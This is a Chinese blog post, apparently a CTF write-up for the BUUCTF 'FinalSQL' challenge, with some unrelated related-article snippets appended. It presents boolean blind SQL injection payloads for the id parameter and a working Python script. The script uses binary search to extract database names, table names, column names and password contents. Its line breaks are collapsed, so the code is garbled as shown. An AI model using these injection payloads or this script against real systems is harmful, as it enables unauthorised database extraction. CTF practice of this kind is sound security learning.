[极客大挑战 2019]FinalSQL【SQL布尔盲注】

server/2025/3/14 6:25:15/

题目: 

 五个小框框什么也没有

发现应该在第六个框框有点线索,所以尝试url框里面id=6试一试 

 表明flag 不在这个表里面。。。啥意思

用户名和密码处都试过了,过滤了很多,包括 ’ ,select,databases,tables等等,反正能用的都过滤了 

后来看wp才知道,原来是需要在id处注入,具体注入方法和这个一样BUU18 [CISCN2019 华北赛区 Day2 Web1]Hack World【SQL布尔盲注】-CSDN博客y

判断为布尔盲注:

先注入一个试试:

经过n次尝试终于成功了,注意这里:

1.查询库名可以通过select schema_name from information_schema.schemata

sql">id=1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=100)^1

也可以这么写 

sql">1^(ord(substr((select(database())),1,1))=100)^1

 一半自己写的一半抄的代码:

利用二分法

import requests
import timeflag = ""
url="http://00d22f10-012a-466e-8fd3-079e487de94f.node5.buuoj.cn:81/search.php?"
temp={"id":""}
for i in range(1,1000):time.sleep(0.06)low=32high=128mid=(low+high)//2while (low<high):#爆库名:#temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i,mid)#temp["id"]="1^(ord(substr((select(database())),%d,1))>%d)^1"%(i,mid)#爆表名:#temp["id"]="1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)^1" % (i,mid)#爆列名#temp["id"]="1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)#爆出password内容   注意这里不能用from库名不能加上''!!!temp["id"]="1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)request=requests.get(url,params=temp)time.sleep(0.04)if "others" in request.text :low=mid+1else:high=midmid=(low+high)//2if(mid==32 or mid==127):breakflag+=chr(mid)print(flag)
print("ALL:",flag)

 有很多第一次学到的知识:

1.向url发送get的请求方法:

1)声明一个字典 temp={"id":""} 存储get发送的请求参数

2)url中要把 ? 一块写上

3)赋值temp字典内容: temp["id"]="xxxxxxxxxxx"

4)格式化字符串有两种写法:

  • f"xxxxxx{mid}xxxxxxx",这里的f就是声明一个格式化字符串
  • "xxxxxxxxx%dxxxxxx" %(mid)

5)发送url get请求格式 r=requests.get(url,params=temp)

6)注意使用time.sleep()减少发送请求频率

2.向url发送post请求的方法:

 payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"data = {"id":payload}res = requests.post(url=url, data=data).text


http://www.ppmy.cn/server/174545.html

相关文章

计算机视觉算法实战——昆虫识别检测(主页有源码)

✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ ​ ​​​ 1. 引言 昆虫识别检测是计算机视觉领域的一个重要研究方向&#xff0c;旨在通过图像分析和机器学习技术自动识别和检测昆虫的种类及…

Python+DeepSeek:开启AI编程新次元——从自动化到智能创造的实战指南

文章核心价值 技术热点:结合全球最流行的编程语言与国产顶尖AI模型实用场景:覆盖代码开发/数据分析/办公自动化等高频需求流量密码:揭秘大模型在编程中的创造性应用目录结构 环境搭建:5分钟快速接入DeepSeek场景一:AI辅助代码开发(智能补全+调试)场景二:数据分析超级助…

能简述一下动态 SQL 的执行原理吗

MyBatis 的动态 SQL 是一种强大的功能&#xff0c;允许开发者根据条件动态生成 SQL 语句。它的执行原理主要涉及以下几个步骤&#xff1a; ### **1. 解析映射文件** 当 MyBatis 启动时&#xff0c;会加载并解析映射文件&#xff08;Mapper.xml&#xff09;&#xff0c;提取其中…

爬虫案例八js逆向爬取网易音乐

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、js逆向的前期准备二、网站分析三、代码 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 爬取网易音乐 提示&#xff1a;以下是本篇…

Ubuntu通过Ollama部署deepseek和千问

一、准备文件 本地服务器是Ubuntu20.04&#xff0c;输入命令uname -a即可查看 部署方式有多样&#xff0c;点击Ollama访问官网 可复制命令直接粘贴下载&#xff0c;但是过程比较慢&#xff0c;所以我推荐下面这种方式 从githubReleases ollama/ollama GitHub上下载ollama的…

Excel 中如何实现数据透视表?

Excel 中如何实现数据透视表&#xff1f; 数据透视表&#xff08;PivotTable&#xff09;是 Excel 中强大的数据分析工具&#xff0c;能够快速汇总、分析和展示大量数据。本文将详细介绍如何在 Excel 中创建和使用数据透视表。 1. 数据透视表的基本概念 数据透视表是一种交互…

java八股文之消息中间件

<在Java中使用消息中间件时&#xff0c;通常会选择一些流行的开源解决方案&#xff0c;如Apache Kafka、RabbitMQ、ActiveMQ等。这些消息中间件提供了高效、可靠的消息传递机制&#xff0c;广泛应用于企业级应用中。下面我将介绍如何在Java中使用Apache Kafka进行消息传递的…

【密码学——基础理论与应用】李子臣编著 第三章 分组密码 课后习题

免责声明 这里都是自己搓或者手写的。 里面不少题目感觉有问题或者我的理解有偏颇&#xff0c;请大佬批评指正&#xff01; 不带思考抄作业的请自动退出&#xff0c;我的并非全对&#xff0c;仅仅提供思维&#xff01; 题目 逐题解析 3.9 做这题需要有置换和错排的知识储备…